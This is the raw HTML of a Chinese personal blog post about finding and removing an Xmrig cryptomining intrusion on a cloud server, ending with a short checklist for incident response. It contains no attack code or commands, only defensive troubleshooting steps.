fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Xmrig挖矿入侵服务器排查</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-7e13a286a2754f48b9d0416c9b1368ce"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-ada1daa99ec145469254ddf3e5ad8162"><a href="#861b8d3cc4f14ecea760e9d0eddd8e90" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#25a26dc565f84e1f85c6c3d3c9958af5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">问题</span></a><a href="#a79c184eb4b140be9b0c8ac739647018" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">排查思路</span></a><a href="#26d7cf25e01042fca17af41bf5810199" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#9213b7772c2f495989fe83076a290465" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-861b8d3cc4f14ecea760e9d0eddd8e90" data-id="861b8d3cc4f14ecea760e9d0eddd8e90"><span><div id="861b8d3cc4f14ecea760e9d0eddd8e90" class="notion-header-anchor"></div><a class="notion-hash-link" href="#861b8d3cc4f14ecea760e9d0eddd8e90" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-d666b2294f444e5493329bea24a143f4"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">叮咚!阿里云提示你,你的服务器正在被攻击!</div></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-25a26dc565f84e1f85c6c3d3c9958af5" data-id="25a26dc565f84e1f85c6c3d3c9958af5"><span><div id="25a26dc565f84e1f85c6c3d3c9958af5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#25a26dc565f84e1f85c6c3d3c9958af5" title="问题"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">问题</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-660f94c60c584e6e8ae0d92e0bc1f5dd"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F5a5eece4-6451-458c-bdb3-642896fe44e8%2FUntitled.png?table=block&amp;id=660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd&amp;t=660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-a79c184eb4b140be9b0c8ac739647018" data-id="a79c184eb4b140be9b0c8ac739647018"><span><div id="a79c184eb4b140be9b0c8ac739647018" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a79c184eb4b140be9b0c8ac739647018" title="排查思路"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">排查思路</span></span></h2><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-557aa53293be450aa95a57fe1fbef80c"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F0c1d2d17-20c1-4e26-97f8-697d634eefda%2FUntitled.png?table=block&amp;id=557aa532-93be-450a-a95a-57fe1fbef80c&amp;t=557aa532-93be-450a-a95a-57fe1fbef80c" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-513bf27714f240df9fe55d5e66266ad1">不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-f61d051901a1478e80c735c9118bc24d"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F3f5c325a-22bb-4012-a104-25e90a12e09a%2FUntitled.png?table=block&amp;id=f61d0519-01a1-478e-80c7-35c9118bc24d&amp;t=f61d0519-01a1-478e-80c7-35c9118bc24d" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-dfa778c022eb460f91da4c9e89100d07">额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-8706dccea26a4928a907a8d5f6dbad7e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca%2FUntitled.png?table=block&amp;id=8706dcce-a26a-4928-a907-a8d5f6dbad7e&amp;t=8706dcce-a26a-4928-a907-a8d5f6dbad7e" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-cf3a69ecdc8f4808803489fe5bd29d14">最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加</div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-723a182a626b4c3aa918e190ff211798"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fa078109a-f42d-4a2b-8f84-8a810cf1fead%2FUntitled.png?table=block&amp;id=723a182a-626b-4c3a-a918-e190ff211798&amp;t=723a182a-626b-4c3a-a918-e190ff211798" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-af73c0b0fefa4be8908d9f53434e90f1">发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-26d7cf25e01042fca17af41bf5810199" data-id="26d7cf25e01042fca17af41bf5810199"><span><div id="26d7cf25e01042fca17af41bf5810199" class="notion-header-anchor"></div><a class="notion-hash-link" href="#26d7cf25e01042fca17af41bf5810199" title="总结"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">总结</span></span></h2><ul class="notion-list notion-list-disc notion-block-6ad39adaa5ba4717b358d1d013de7f01"><li>找被黑时间左右的所有文件一个一个排查</li></ul><ul class="notion-list notion-list-disc notion-block-6da1726b3b0144779f839c21240b1f03"><li>找文件关联pid</li></ul><ul class="notion-list notion-list-disc notion-block-c5b1e0c0edb345bc90d25fc97aadef92"><li>找pid关联fd,端口,ip等</li></ul><ul class="notion-list notion-list-disc notion-block-ac2e2b33c9394e51b645a75d92cefce2"><li>找相关service,排查异常servcie,定时任务全部停止</li></ul><ul class="notion-list notion-list-disc notion-block-bf3c5b4c2a2e4940814100e72adb8cd3"><li>持续观察cpu,网络等信息</li></ul><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-9213b7772c2f495989fe83076a290465" data-id="9213b7772c2f495989fe83076a290465"><span><div id="9213b7772c2f495989fe83076a290465" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9213b7772c2f495989fe83076a290465" title="写到最后"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写到最后</span></span></h2><div class="notion-row notion-block-1f2fa6896444408e8982d97876cbaca9"><div class="notion-column notion-block-c7184f46708d4e2a842e86e0110aece0" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.25)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-68a0b662e72a470b95d5c904c3908fa2"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fe74a26b9-10d9-49f3-9ea7-bcb2a1438bd7%2Ffavicon.png?table=block&amp;id=68a0b662-e72a-470b-95d5-c904c3908fa2&amp;t=68a0b662-e72a-470b-95d5-c904c3908fa2" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div><div class="notion-column notion-block-27670dd31c08417c8df9ee69095a647e" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.34601449275362306)"><div class="notion-text notion-block-e6f0418903e84eb78d83f52461442c69"><em>
+<!DOCTYPE html><html lang="zh-CN"><head><title>Xmrig挖矿入侵服务器排查 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="建站,推荐,开发"/><meta name="description" content="叮咚!阿里云提示你,你的服务器正在被攻击!"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Xmrig挖矿入侵服务器排查 | Both Savage"/><meta property="og:description" content="叮咚!阿里云提示你,你的服务器正在被攻击!"/><meta property="og:url" content="https://bothsavage.github.io//article/240319-xmrig"/><meta property="og:image" content="https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="叮咚!阿里云提示你,你的服务器正在被攻击!"/><meta name="twitter:title" content="Xmrig挖矿入侵服务器排查 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div 